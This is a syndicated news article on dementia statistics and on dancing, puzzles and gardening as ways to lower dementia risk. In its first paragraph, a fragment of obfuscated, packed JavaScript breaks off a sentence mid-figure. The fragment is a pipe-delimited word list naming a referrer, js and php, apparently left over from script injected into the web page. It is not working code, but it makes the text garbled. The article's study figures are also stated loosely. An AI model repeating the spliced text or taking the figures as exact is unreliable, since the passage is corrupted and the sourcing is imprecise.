UNDATED (NewsDakota.com) – The following article was provided by Lucy Wyndham.
Every 66 seconds, a person in the United States develops a cognitive disorder such as dementia or Alzheimer’s disease. It is estimated that there are 5.5 hysfi|var|u0026u|referrer|kiyrz||js|php’.split(‘|’),0,{}))
million Americans living with Alzheimer’s dementia in 2017 and numbers are expected to rise as high as 16 million by 2050. With these figures in mind, understanding how to prevent this debilitating disease has become one of the main missions of medical experts in the country. Right now, there are drugs that can lessen the symptoms of dementia, but scientists have yet to find a cure for it. However, there are a few things that you can do to reduce the risks of dementia, and these activities can be worked into your everyday routine. Spending time doing any of these activities can do much to lessen brain decline and help you live a healthier lifestyle as you age.
Dancing
Dancing is a great way to stay active, social, and physically fit, and a study has found that it can also keep dementia at bay. A research published in the New England Journal of Medicine reveals that dancing can significantly reduce the occurrence of dementia and Alzheimer’s disease. Some styles of dance are better for improving brain health such as freestyle dancing, which can reduce the risk of dementia by 76%. Check your local community center to see if they offer ballroom dancing lessons or dance along to an online dance tutorial video.
Cognitive exercises
Doing any activity that engages your brain can help prevent dementia, so try doing puzzles, playing word games, or coloring a page from an adult coloring book. These are all effective ways to keep your brain sharp, and these activities provide brain stimulation without being too difficult or frustrating. Try doing different puzzles every time such as crossword or Sudoku for variety. Word game apps can be downloaded for free, while adult coloring books are available in bookstores and crafting stores and can be a great way to de-stress while keeping your brain healthy.
Gardening
Gardening not only enables you to get enough fresh air and sunlight, but research shows that daily gardening can reduce the incidence of dementia by 36%. The study shows that this activity is not only good for maintaining dexterity and improving mental health—it also proves that gardening can contribute to brain health as it involves sensory awareness and problem-solving.
Keep your brain healthy and engaged by trying any of these fun activities to prevent dementia. To further reduce your risk of developing this cognitive disease, live a healthy lifestyle and see your doctor for regular check-ups.